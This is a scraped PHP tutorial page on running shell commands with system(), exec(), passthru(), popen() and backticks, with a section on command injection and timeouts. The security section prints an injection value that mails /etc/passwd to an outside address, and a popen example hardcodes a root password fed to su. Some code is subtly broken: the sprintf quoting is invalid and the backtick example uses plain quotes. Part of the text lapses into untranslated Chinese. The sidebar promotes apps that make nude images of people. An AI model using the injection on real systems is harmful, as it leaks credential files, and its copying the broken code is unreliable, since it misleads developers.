Home Backend Development PHP Tutorial Detailed explanation of how php executes system external commands

Detailed explanation of how php executes system external commands

Jul 25, 2016 am 08:57 AM

  1. //system('dir');
  2. // exec ('dir');
  3. // passthru ('dir');
  4. // echo `dir`;
Copy code

PHP, like other programming languages, can call external commands within the program, and it is very simple: just use one or a few functions.

Prerequisites

Since PHP is basically used for WEB program development, security has become an important aspect that people consider. So PHP designers added a door to PHP: safe mode. If running in safe mode, the PHP script will be subject to the following four restrictions:

1. Execute external commands 2. There are some restrictions when opening files. 3. Connect to mysql database 4. HTTP-based authentication

In safe mode, only external programs in specific directories can be executed, and calls to other programs will be denied. This directory can be used in the php.ini file using the safe_mode_exec_dir directive, or added when compiling PHP. --with-exec-dir option to specify, the default is /usr/local/php/bin.

If you call an external command that should output results (meaning the PHP script has no errors), but get a blank, then it is likely that PHP is running in safe mode.

To call external commands in PHP, you can use the following three methods:

1) Use special functions provided by PHP PHP provides a total of three specialized functions for executing external commands: system(), exec(), and passthru().

1. system() Prototype: string system (string command [, int return_var]) The system() function is similar to that in other languages. It executes the given command, outputs and returns the result. The second parameter is optional and is used to get the status code after the command is executed.

Example:

<?php
system("/usr/local/bin/webalizer/webalizer");
?>
Copy after login

2. exec() Prototype: string exec (string command [, string array [, int return_var]])

The exec () function is similar to system (). It also executes the given command, but does not output the result, but returns the last line of the result. Although it only returns the last line of the command result, the complete result can be obtained with the second parameter array. The method is to control the result The results are appended line by line to the end of the array. So if the array is not empty, it is best to use unset() to clear it before calling it. Only when the second parameter is specified, the third parameter can be used to obtain the status code of command execution. .

Example:

<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
Copy after login

3. passthru() Prototype: void passthru (string command [, int return_var])

passthru () only calls the command and does not return any results, but outputs the running results of the command directly to the standard output device as is. Therefore, the passthru() function is often used to call programs such as pbmplus (a picture processing program under Unix). tool, output two (a stream of raw images in hexadecimal format). It can also get the status code of command execution.

Example:

<?php
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
Copy after login

2) Use the popen() function to open the process

The above method can only simply execute the command, but cannot interact with the command. Sometimes you need to enter something into the command. For example, when adding a Linux system user, you need to call su to change the current user to root, and the su command must be on the command line. Enter the root password. In this case, it is obviously not possible to use the method mentioned above.

The

popen () function opens a process pipe to execute the given command and returns a file handle. Since a file handle is returned, you can read and write to it. In PHP3, only a single operation can be performed on this kind of handle Mode, either write or read; starting from PHP4, you can read and write at the same time. Unless the handle is opened in one mode (read or write), the pclose() function must be called to close it.

Example 1:

<?php
$fp=popen("/bin/ls -l", "r");
?>
Copy after login

Example 2:

<?php
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
Copy after login

3), use a backtick (`, that is, the one under the ESC key on the keyboard, which is the same as ~) This method was not previously documented in PHP and existed as a secret technique. Use two backticks to enclose the command to be executed as an expression. The value of this expression is the result of the command execution. For example:

<?php
$res='/bin/ls -l';
echo ' 
'.$res.' 
';
?>
Copy after login

Output result:

hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php

Two issues need to be considered: security and timeout.

Security. For example, there is a small online store, so the list of products available for sale is placed in a file. Write an HTML file with a form that lets your users enter their email address and then sends them the product list. Assuming that you have not used PHP's mail() function (or have never heard of it), call the mail program of the Linux/Unix system to send this file.

For example:

<?php
system("mail $to < products.txt");
echo "产品目录已经发送到你的信箱:$to";
?>
Copy after login

This code actually has a very large security vulnerability. If a malicious user enters such an EMAIL address:

'--bla ; mail someone@domain.com < /etc/passwd ;'
Copy after login

Then this command eventually becomes:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
Copy after login

It’s scary, don’t try it on your own computer, otherwise the consequences will not be as bad as you imagine.

php提供了两个函数:EscapeShellCmd()和EscapeShellArg()。 函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。 函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。

再说下超时问题。 如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。 默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。

解决方法,把命令的输出重定向到另外一个文件或流中。 例如:

<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
Copy after login


Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1655
14
PHP Tutorial
1253
29
C# Tutorial
1227
24
Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How does session hijacking work and how can you mitigate it in PHP? How does session hijacking work and how can you mitigate it in PHP? Apr 06, 2025 am 12:02 AM

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

How do you handle exceptions effectively in PHP (try, catch, finally, throw)? How do you handle exceptions effectively in PHP (try, catch, finally, throw)? Apr 05, 2025 am 12:03 AM

In PHP, exception handling is achieved through the try, catch, finally, and throw keywords. 1) The try block surrounds the code that may throw exceptions; 2) The catch block handles exceptions; 3) Finally block ensures that the code is always executed; 4) throw is used to manually throw exceptions. These mechanisms help improve the robustness and maintainability of your code.

Explain different error types in PHP (Notice, Warning, Fatal Error, Parse Error). Explain different error types in PHP (Notice, Warning, Fatal Error, Parse Error). Apr 08, 2025 am 12:03 AM

There are four main error types in PHP: 1.Notice: the slightest, will not interrupt the program, such as accessing undefined variables; 2. Warning: serious than Notice, will not terminate the program, such as containing no files; 3. FatalError: the most serious, will terminate the program, such as calling no function; 4. ParseError: syntax error, will prevent the program from being executed, such as forgetting to add the end tag.

What is the difference between include, require, include_once, require_once? What is the difference between include, require, include_once, require_once? Apr 05, 2025 am 12:07 AM

In PHP, the difference between include, require, include_once, require_once is: 1) include generates a warning and continues to execute, 2) require generates a fatal error and stops execution, 3) include_once and require_once prevent repeated inclusions. The choice of these functions depends on the importance of the file and whether it is necessary to prevent duplicate inclusion. Rational use can improve the readability and maintainability of the code.

PHP and Python: Comparing Two Popular Programming Languages PHP and Python: Comparing Two Popular Programming Languages Apr 14, 2025 am 12:13 AM

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

What are HTTP request methods (GET, POST, PUT, DELETE, etc.) and when should each be used? What are HTTP request methods (GET, POST, PUT, DELETE, etc.) and when should each be used? Apr 09, 2025 am 12:09 AM

HTTP request methods include GET, POST, PUT and DELETE, which are used to obtain, submit, update and delete resources respectively. 1. The GET method is used to obtain resources and is suitable for read operations. 2. The POST method is used to submit data and is often used to create new resources. 3. The PUT method is used to update resources and is suitable for complete updates. 4. The DELETE method is used to delete resources and is suitable for deletion operations.

PHP: A Key Language for Web Development PHP: A Key Language for Web Development Apr 13, 2025 am 12:08 AM

PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

See all articles